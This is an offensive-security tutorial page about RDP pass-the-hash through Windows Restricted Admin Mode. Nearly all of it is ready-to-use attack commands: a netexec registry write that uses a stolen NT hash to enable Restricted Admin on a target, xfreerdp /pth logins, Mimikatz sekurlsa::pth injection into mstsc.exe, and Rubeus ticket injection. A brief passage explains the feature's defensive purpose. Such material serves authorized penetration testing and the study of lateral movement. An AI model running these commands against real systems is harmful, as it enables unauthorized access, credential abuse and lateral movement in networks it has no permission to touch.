# RDP Pass-the-Hash – GUI Session from an NT Hash

> Leverage NT hashes for RDP authentication using Restricted Admin mode, bypassing plaintext credential requirements via pass-the-hash techniques with xfreerdp or Mimikatz.

- **URL:** https://hackindex.io/services/rdp/exploitation/pass-the-hash
- **Path:** RDP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/rdp/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-07-10

RDP supports Pass-the-Hash through Restricted Admin Mode: a feature that uses network logon instead of interactive logon, meaning credentials are not cached on the remote host and the server accepts an NT hash in place of a password. If Restricted Admin Mode is enabled on the target, you get a full graphical RDP session with only the NT hash.

Restricted Admin Mode is disabled by default but is commonly found enabled in larger environments. When it is not enabled, you can turn it on yourself if you have any form of code execution on the target: including through another Pass-the-Hash technique like psexec or wmiexec.

RDP PtH requirements and tools:

- Restricted Admin Mode enabled on target (`DisableRestrictedAdmin = 0`)
- xfreerdp with `/pth:` flag from Linux
- Mimikatz `sekurlsa::pth` to inject hash into mstsc.exe from Windows

For non-graphical lateral movement with hashes over SMB, see [https://hackindex.io/services/smb/exploitation/pass-the-hash](https://hackindex.io/services/smb/exploitation/pass-the-hash).

## RDP pass the hash via Restricted Admin Mode

If you have remote code execution (psexec, wmiexec, evil-winrm, or any shell), enable Restricted Admin Mode with a registry write:

```bash
nxc smb $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN -x "reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f"
```

Or from an existing shell on the target:

```bash
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
```

Setting `DisableRestrictedAdmin` to `0` enables the feature. The name is counterintuitive: `0` means Restricted Admin is active, `1` disables it.

## Connecting with xfreerdp from Linux

With Restricted Admin Mode enabled on the target, connect directly using the NT hash:

```bash
xfreerdp /u:$USER /pth:$NTHASH /v:$TARGET_IP /cert-ignore
```

For a domain account:

```bash
xfreerdp /u:$USER /d:$DOMAIN /pth:$NTHASH /v:$TARGET_IP /cert-ignore
```

A successful connection opens a full RDP desktop session as the user whose hash you supplied. The connection uses network logon, so your hash is not exposed on the target host.

If you get a `STATUS_LOGON_FAILURE` error, Restricted Admin Mode is not enabled or the account does not have RDP access on that host.

## Connecting with Mimikatz from Windows

On a Windows foothold, use Mimikatz to inject the hash into a new `mstsc.exe` process:

```bash
sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NTHASH /run:"mstsc.exe /restrictedadmin"
```

This spawns an RDP client window with the target user's identity. The displayed username may show your current user: ignore it. Click Connect and the session authenticates with the injected hash.

## Verifying Restricted Admin Mode Status

Check whether it is already enabled on the target before trying to enable it:

```bash
nxc smb $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN -x "reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin"
```

Output `0x0` means enabled. Output `0x1` or key not found means disabled.

## What Restricted Admin Mode Changes

In a normal RDP session, your credentials are cached in LSASS on the remote host: extractable by anyone who later compromises that host. Restricted Admin Mode uses network logon, which does not cache credentials. This is why the feature exists from a defensive perspective. From an offensive perspective, it is the mechanism that makes Pass-the-Hash over RDP possible.

Because no credentials are cached, a Restricted Admin session cannot re-authenticate to network resources as the logged-in user by default. If you need to access network shares or AD resources from within the session, you may need to run commands under a different authentication context.

## Kerberos Ticket via RDP

If you have a TGT for a user rather than a hash, inject it with Rubeus and open an RDP session that uses the ticket for network authentication:

```bash
Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt
mstsc.exe /restrictedadmin /v:$TARGET_IP
```

For the full pass-the-ticket workflow, see [https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket](https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket).

## References

- [FreeRDP](https://github.com/FreeRDP/FreeRDP) - xfreerdp option reference including /pth and /restrictedadmin flags.
- [Restricted Admin Mode for Remote Desktop Connection](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn408190(v=ws.11)) - Microsoft Official documentation covering Restricted Admin Mode behaviour and credential caching differences.